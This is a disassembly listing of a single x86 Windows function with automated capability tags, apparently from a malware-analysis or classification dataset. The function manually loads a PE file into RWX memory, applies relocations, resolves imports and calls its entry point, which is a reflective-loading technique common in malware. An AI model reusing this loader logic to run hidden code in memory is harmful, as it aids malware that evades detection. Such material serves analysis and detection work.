Function at 0x10002120
Capabilities:
Allocate or change rwx memory
Enumerate pe sections
Execute shellcode via indirect call
Get file size
Parse pe header
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x1c
push ebx
push ebp
push esi
push 0
push 0x80
push 3
push 0
push 1
push accept
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x1000219f
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0x40
push 0x1000
push eax
push 0
mov dword [esp + 0x1c], eax
call ebx
mov edx, dword [esp + 0xc]
push 0
lea ecx, [esp + 0x10]
push ecx
mov ebp, eax
push edx
push ebp
push esi
mov dword [esp + 0x34], ebp
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
test eax, eax
jne 0x100021a8
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0xc]
push 0x4000
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x1c
ret
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test ebp, ebp
je 0x1000219f
mov ecx, 0x5a4d
push edi
cmp word [ebp], cx
jne 0x100021cb
mov edi, dword [ebp + 0x3c]
add edi, ebp
cmp dword [edi], 0x4550
je 0x100021e6
mov edx, dword [esp + 0x10]
push 0x1000
push edx
push ebp
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x1c
ret
mov eax, dword [edi + 0x50]
push 0x40
push 0x1000
push eax
push 0
call ebx
mov ecx, dword [edi + 0x54]
add ecx, dword [ebp + 0x3c]
mov esi, eax
push ecx
push ebp
push esi
call fcn.100030b0
mov eax, dword [esi + 0x3c]
add eax, esi
mov dword [eax + 0x34], esi
mov ebx, dword [esi + 0x3c]
movzx edx, word [ebx + esi + 0x14]
add ebx, esi
mov dword [esp + 0x34], eax
mov eax, dword [ebp + 0x3c]
add eax, ebp
xor ecx, ecx
add esp, 0xc
mov dword [esp + 0x18], eax
lea edi, [edx + ebx + 0x18]
mov dword [esp + 0x14], 0
cmp cx, word [ebx + 6]
jae 0x10002290
add edi, 8
jmp 0x10002244
mov eax, dword [esp + 0x18]
mov ecx, dword [edi + 8]
test ecx, ecx
jne 0x10002265
mov ecx, dword [eax + 0x38]
test ecx, ecx
jbe 0x1000227c
mov edx, dword [edi + 4]
push ecx
lea eax, [edx + esi]
push 0
push eax
mov dword [edi], eax
call fcn.10002a00
jmp 0x10002279
mov eax, dword [edi + 4]
push ecx
mov ecx, dword [edi + 0xc]
add ecx, ebp
add eax, esi
push ecx
push eax
mov dword [edi], eax
call fcn.100030b0
add esp, 0xc
mov eax, dword [esp + 0x14]
movzx edx, word [ebx + 6]
inc eax
add edi, 0x28
mov dword [esp + 0x14], eax
cmp eax, edx
jb 0x10002240
mov eax, dword [esi + 0x3c]
mov edx, dword [eax + esi + 0xa0]
lea eax, [eax + esi + 0xa0]
test edx, edx
je 0x10002324
mov ecx, dword [ebp + 0x3c]
mov eax, esi
sub eax, dword [ecx + ebp + 0x34]
add edx, esi
cmp dword [edx], 0
mov dword [esp + 0x14], eax
je 0x10002324
lea esp, [esp]
mov ebx, dword [edx + 4]
sub ebx, 8
shr ebx, 1
xor edi, edi
mov dword [esp + 0x18], ebx
test ebx, ebx
jle 0x1000231c
movzx ecx, word [edx + edi*2 + 8]
mov eax, ecx
and eax, 0xfff
add eax, dword [edx]
shr ecx, 0xc
add eax, esi
sub ecx, 1
je 0x10002306
sub ecx, 1
je 0x100022fc
sub ecx, 1
jne 0x10002317
mov ecx, dword [esp + 0x14]
add dword [eax], ecx
jmp 0x10002317
mov cx, word [esp + 0x14]
add word [eax], cx
jmp 0x10002317
movzx ecx, word [eax]
add ecx, dword [esp + 0x14]
mov ebx, dword [esp + 0x18]
shr ecx, 0x10
mov word [eax], cx
inc edi
cmp edi, ebx
jl 0x100022d2
add edx, dword [edx + 4]
cmp dword [edx], 0
jne 0x100022c0
mov edx, dword [esi + 0x3c]
lea eax, [edx + esi + 0x80]
mov eax, dword [eax]
test eax, eax
je 0x100023db
cmp dword [eax + esi], 0
lea edi, [eax + esi]
mov dword [esp + 0x20], edi
mov dword [esp + 0x18], 0
je 0x100023db
mov eax, dword [edi + 0xc]
add eax, esi
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebx, dword [edi]
mov ebp, dword [edi + 0x10]
xor edi, edi
add ebx, esi
mov edx, eax
add ebp, esi
mov dword [esp + 0x1c], edx
mov dword [esp + 0x14], edi
cmp dword [ebx], edi
je 0x100023ba
mov eax, ebx
jmp 0x10002384
mov edx, dword [esp + 0x1c]
mov ecx, dword [eax]
test ecx, ecx
jns 0x10002393
and ecx, 0xffff
push ecx
jmp 0x10002398
lea eax, [ecx + esi + 2]
push eax
push edx
call fcn.10002020
mov dword [edi + ebp], eax
mov eax, dword [esp + 0x14]
inc eax
lea edi, [eax*4]
cmp dword [edi + ebx], 0
mov dword [esp + 0x14], eax
lea eax, [edi + ebx]
jne 0x10002380
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x20]
inc eax
lea ecx, [eax + eax*4]
cmp dword [edx + ecx*4], 0
lea edi, [edx + ecx*4]
mov dword [esp + 0x18], eax
jne 0x10002351
mov ebp, dword [esp + 0x24]
push 0x8000
push 0
push ebp
call dword [sym.imp.KERNEL32.dll_VirtualFree]
cmp dword [esp + 0x38], 1
jne 0x10002407
mov eax, dword [esp + 0x28]
mov eax, dword [eax + 0x28]
test eax, eax
je 0x10002407
mov ecx, dword [esp + 0x34]
push ecx
push 1
push esi
add eax, esi
call eax
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
add esp, 0x1c
ret